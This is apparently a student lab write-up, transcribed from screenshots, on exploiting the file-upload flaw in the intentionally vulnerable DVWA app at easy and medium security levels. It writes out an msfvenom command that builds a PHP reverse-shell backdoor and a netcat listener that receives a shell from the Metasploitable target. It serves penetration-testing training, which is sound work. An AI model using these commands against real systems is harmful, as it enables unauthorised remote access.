

W13D1 - NICHOLAS DI ANGELO -  
PARAMETRO SICUREZZA DVWA EASY

kali linux 1 [Running]

File Actions Edit View Help

```
(kali@kali)-[~]  
$ msfvenom -p php/reverse_php lhost=192.168.1.100 lport=4444 -f raw -o backdoor.php  
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload  
[-] No arch selected, selecting arch: php from the payload  
No encoder specified, outputting raw payload  
Payload size: 2982 bytes  
Saved as: backdoor.php  
  
(kali@kali)-[~]  
$
```

Home kali@kali: ~

File Actions Edit View Help

```
(kali@kali)-[~]  
$ nc -nvlp 4444  
listening on [any] 4444 ...  
connect to [192.168.1.100] from (UNKNOWN) [192.168.1.101] 51151  
hostname  
metasploitable  
pwd  
/var/www/dvwa/hackable/uploads  
ifconfig  
wireshark
```

192.168.1.101/dvwa/hackable

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**DVWA**

**Vulnerability: File Upload**

Choose an image to upload:  
 No file selected.

../hackable/uploads/backdoor.php

**More info**

<http://www.owasp.org/index.php/Unrestricted>  
<http://blogs.securiteam.com/index.php/archive>  
<http://www.acunetix.com/websitesecurity/uploa>

XSS reflected

Transferring data from 192.168.1.101...

## PARAMETRO SICUREZZA DVWA MEDIUM

The screenshot shows a Kali Linux desktop environment. On the left, there is a sidebar with icons for Trash, File System, Home, and Wireshark. The main area is divided into two windows. The top window is a terminal titled 'kali linux 1 [Running]' with the prompt 'kali@kali: ~'. It shows the command 'msfvenom -p php/reverse\_php lhost=192.168.1.100 lport=4444 -f raw -o backdoor.php' and its output: '[ - ] No platform was selected, choosing Msf::Module::Platform::PHP from the payload' and '[ - ] No arch selected, selecting arch: php from the payload'. The bottom window is a web browser titled 'Damn Vulnerable Web Ap x' showing the DVWA Security page. The page has a sidebar with links: Home, Instructions, Setup, Brute Force, Command Execution, CSRF, File Inclusion, SQL Injection, SQL Injection (Blind), Upload, XSS reflected, XSS stored, DVWA Security (highlighted), PHP Info, About, and Logout. The main content area is titled 'DVWA Security' and 'Script Security'. It states 'Security Level is currently medium.' and 'You can set the security level to low, medium or high. The security level changes the vulnerability level of DVWA.' There is a dropdown menu set to 'medium' and a 'Submit' button. Below this, it says 'PHPIDS' and 'PHPIDS v.0.6 (PHP-Intrusion Detection System) is a security layer for PHP'. It states 'You can enable PHPIDS across this site for the duration of your session. PHPIDS is currently disabled. [enable PHPIDS]'. There are links for '[Simulate attack]' and '[View IDS log]'. At the bottom, it says 'Security level set to medium'.

kali linux 1 [Running]

kali@kali: ~

File Actions Edit View Help

```
(kali@kali)-[~]  
$ msfvenom -p php/reverse_php lhost=192.168.1.100 lport=4444 -f raw -o backdoor.php  
[ - ] No platform was selected, choosing Msf::Module::Platform::PHP from the payload  
[ - ] No arch selected, selecting arch: php from the payload
```

Damn Vulnerable Web Ap x

192.168.1.101/dvwa/security.php

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DVWA

Home Instructions Setup Brute Force Command Execution CSRF File Inclusion SQL Injection SQL Injection (Blind) Upload XSS reflected XSS stored DVWA Security PHP Info About Logout

### DVWA Security

#### Script Security

Security Level is currently **medium**.

You can set the security level to low, medium or high.

The security level changes the vulnerability level of DVWA.

medium Submit

#### PHPIDS

**PHPIDS** v.0.6 (PHP-Intrusion Detection System) is a security layer for PHP.

You can enable PHPIDS across this site for the duration of your session.

PHPIDS is currently **disabled**. [\[enable PHPIDS\]](#)

[\[Simulate attack\]](#) - [\[View IDS log\]](#)

Security level set to medium





